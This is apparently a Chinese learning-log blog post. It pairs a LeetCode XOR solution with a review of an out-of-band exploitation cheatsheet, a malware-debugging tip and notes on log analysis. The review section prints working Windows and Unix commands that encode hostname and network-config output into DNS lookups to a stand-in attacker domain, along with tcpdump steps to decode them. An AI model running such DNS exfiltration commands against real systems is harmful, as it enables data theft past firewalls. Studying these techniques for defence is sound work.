ARTS:

  • Algrothm: leetcode算法题目
  • Review: 阅读并且点评一篇英文技术文章
  • Tip/Techni: 学习一个技术技巧
  • Share: 分享一篇有观点和思考的技术文章

Algorithm

Single Number

https://leetcode.com/problems/single-number/

1)problem

Given a non-empty array of integers, every element appears twice except for one. Find that single one.

Note:

Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?

Example 1:

Input: [2,2,1]
Output: 1
Example 2:

Input: [4,1,2,1,2]
Output: 4

2)answer

数组中其他数出现两次,仅有一个出现一次的。逐个字符进行异或来,当某个数字出现第二次时候数字就归为0。二进制计算逻辑如下:

  二进制            异或      下一次的异或值   实际值
4 ==> 100  ==>  100 ^ 000      = 100        = 4
1 ==> 001  ==>  001 ^ 100      = 101        = 5
2 ==> 010  ==>  010 ^ 101      = 111        = 7
1 ==> 001  ==>  001 ^ 111      = 110        = 6
2 ==> 010  ==>  010 ^ 110      = 100        = 4

3)solution

Cpp:

#include <stdio.h>
#include <vector>
using std::vector;

class Solution {
public:
    int singleNumber(vector<int>& nums) {

        int aNum = 0;
        for (int i = 0; i < nums.size(); i++) {
            aNum ^= nums[i];
        }
        return aNum;
    }
};

int main()
{

    // 使用内容
    Solution nSolution;
    vector<int> nums;

    nums.push_back(2);
    nums.push_back(1);
    nums.push_back(2);
    nSolution.singleNumber(nums);
    return 0;
}

Python:

class Solution(object):
    def singleNumber(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        r_nums = 0
        for num in nums:
            r_nums ^= num
        return r_nums

4)总结

Tips:按tags刷会比较有效率。

  • String

https://leetcode.com/problemset/all/?topicSlugs=string

https://leetcode.com/problems/unique-email-addresses

https://leetcode.com/problems/to-lower-case

  • HASH Tables

https://leetcode.com/problems/jewels-and-stones

https://leetcode.com/problems/single-number

Review

【WEB安全】out of band exploitation (oob) cheatsheet

https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf

1)场景

OOB是一种确认和利用漏洞的方法。让容易受到攻击的实体生成出站请求(TCP/UDP/ICMP),由攻击者过滤数据。

而OOB攻击基于出口防火墙规则从受攻击的系统发出出站请求,所以防火墙不会拦截。

2)问题难点

文章中的演示是利用DNS协议进行传输数据的。

3)解决问题的方法

在受攻击的系统执行命令,把命令回显结果传回到攻击者的服务器上。对受攻击的系统执行指定命令通过DNS访问攻击者的服务器,攻击者将开启tcpdump抓包工具把原数据存储,在过滤还原出来。

4)方法细节

在攻击者服务器上运行TCPDUMP。接受数据原理:

tcpdump -n port 53

Windows:

受攻击机器:

nslookup test.oob.dnsattacker.com

Uinx:

host host.oob.dnsattacker.com

5)总结

  • 获取主机名

Windows受攻击机器

cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3
&& set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"

攻击者:

echo “encoded output” |base64 -d  # decode the output with base64
  • 发送多行的显示结果

受攻击机器:

cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContent
output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){
$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"    # Sending file inHEX

攻击者:

sudo tcpdump -n port 53 | tee file.txt

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f
2|tr -d '\n')" | xxd -r -p

Unix:

受攻击者:

var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  $var.$b.file.oob.dnsattacker.com;done   # Sending file in HEX

攻击者:

sudo tcpdump -n port 53 | tee file.txt

提取和构造输出:

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

Base64:

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64

Tip

【逆向分析】某APT组织.net程序调试技巧

1)场景

某个APT组织的样本是通过.hta文件在内存中直接展开的。

2)问题难点

.HTA文件,解密在分析。工具少,时间长。

3)解决思路

查看mshta.exe是否在运行,使用OD附加这个进程。

4)方法细节

1、运行.hta文件,查看mshta.exe是否在运行,使用OD附加这个进程。

2、bp connect:对网络函数下断点,获取连接域名或IP的位置,拿到IOC。

5)总结

邮件发送的样本,打开附件的EXE释放会在temp临时目录内释放hta文件或者白签名的文件,打开pdf/word/ppt文件。

Share

【业务安全】应用日志分析需求

1)场景

针对主机存储的日志数据,通过这些分析报表来查看近期站点的流量趋势、洞察站点用户行为、用户地域属性等。

2)问题难点

图是从微信群里看到的,比起上周关注的业务点多了些许细节。

3)解决问题的方法

运营大盘:告警、趋势与分析

  • 告警类:准时的展示、拦截;
  • 趋势类:饼图、柱图、折线等等。一般以天或小时级别,观测整体的趋势,不适合细粒度分析但可从宏观侧面观测并找到可疑的方向;
  • 观测分析类:也以各种饼图、柱图、折线为主,但会比趋势类的展示在某些维度的粒度更细,例如,5-10分钟级别,甚至按地域和用户细分,等等。一方面,用于在可疑方向上进一步确定问题,给分析人员指向原始数据内的分析方向;另一方面,也可在不那么微观、但也不那么宏观的层面上,通过流动性的走势发现一些在原始数据和宏观数据里都无法发现的问题。

4)方法细节

5)总结

【ARTS】01_04_左耳听风-20181203~1209的更多相关文章

  1. 【ARTS】01_21_左耳听风-201900401~201900407

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  2. 【ARTS】01_20_左耳听风-20190325~20190331

    zz## ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 ...

  3. 【ARTS】01_19_左耳听风-20190318~20190324

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  4. 【ARTS】01_18_左耳听风-20190311~20190317

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  5. 【ARTS】01_17_左耳听风-20190304~20190310

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  6. 【ARTS】01_16_左耳听风-20190225~20190303

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  7. 【ARTS】01_14_左耳听风-20190211~20190217

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  8. 【ARTS】01_10_左耳听风-20190114~20190120

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  9. 【ARTS】01_09_左耳听风-20190107~20190113

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

随机推荐

  1. C#获取每月最后一天或者最末一天的方法

    /// <summary> /// 取得某月的第一天 /// </summary> /// <param name="datetime">要取得 ...

  2. Ubuntu16.04配置TOMCAT8

    基于虚拟机Ubuntu16.04配置Tomcat过程 一.安装JDK 首先要确定好要安装的jdk和tomcat版本能对的上,具体如图所示: 版本选择是Jdk1.8,首先上官网http://www.or ...

  3. java 读写 excle 完整版

    pom.xml <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</a ...

  4. Installing OpenSSH from the Settings UI on Windows Server 2019 or Windows 10 1809

    Installing OpenSSH from the Settings UI on Windows Server 2019 or Windows 10 1809 OpenSSH client and ...

  5. 2 引入jquery和boot

    vue引入bootstrap——webpack https://blog.csdn.net/wild46cat/article/details/77662555(copy) 想要在vue中引入boot ...

  6. 2013成都网赛1003 hdu 4730 We Love MOE Girls

    题意:有一个字符串,若以"desu"结尾,则将末尾的"desu"替换为"nanodesu",否则在字符串末尾加上"nanodesu ...

  7. Number Clicker CodeForces - 995E(双向bfs)

    双向bfs  注意数很大  用map来存 然后各种难受....

  8. 【刷题】BZOJ 4000 [TJOI2015]棋盘

    Description Input 输入数据的第一行为两个整数N,M表示棋盘大小.第二行为两个整数P,K, 表示攻击范围模板的大小,以及棋子在模板中的位置.接下来三行, 每行P个数,表示攻击范围的模版 ...

  9. 【codevs1297】硬币 完全背包

    题目大意:给定 N 种不同种类的硬币,每种硬币的重量范围在一个可变区间内,但是价值恒定,求给定一个重量 W,求有多少种面值不同的组合方式. 题解:如果硬币的重量恒定,那么就是一道裸的完全背包问题.因此 ...

  10. 本地如何连接虚拟机上的MySql

    今天在本地链接虚拟机上的MySql,然而链接失败了!甚是尴尬! 首先想一想是什么原因导致链接失败: 基础环境:在Linux上安装mysql 1.检查虚拟机IP在本地是否可以ping 通过 虚拟机IP: ...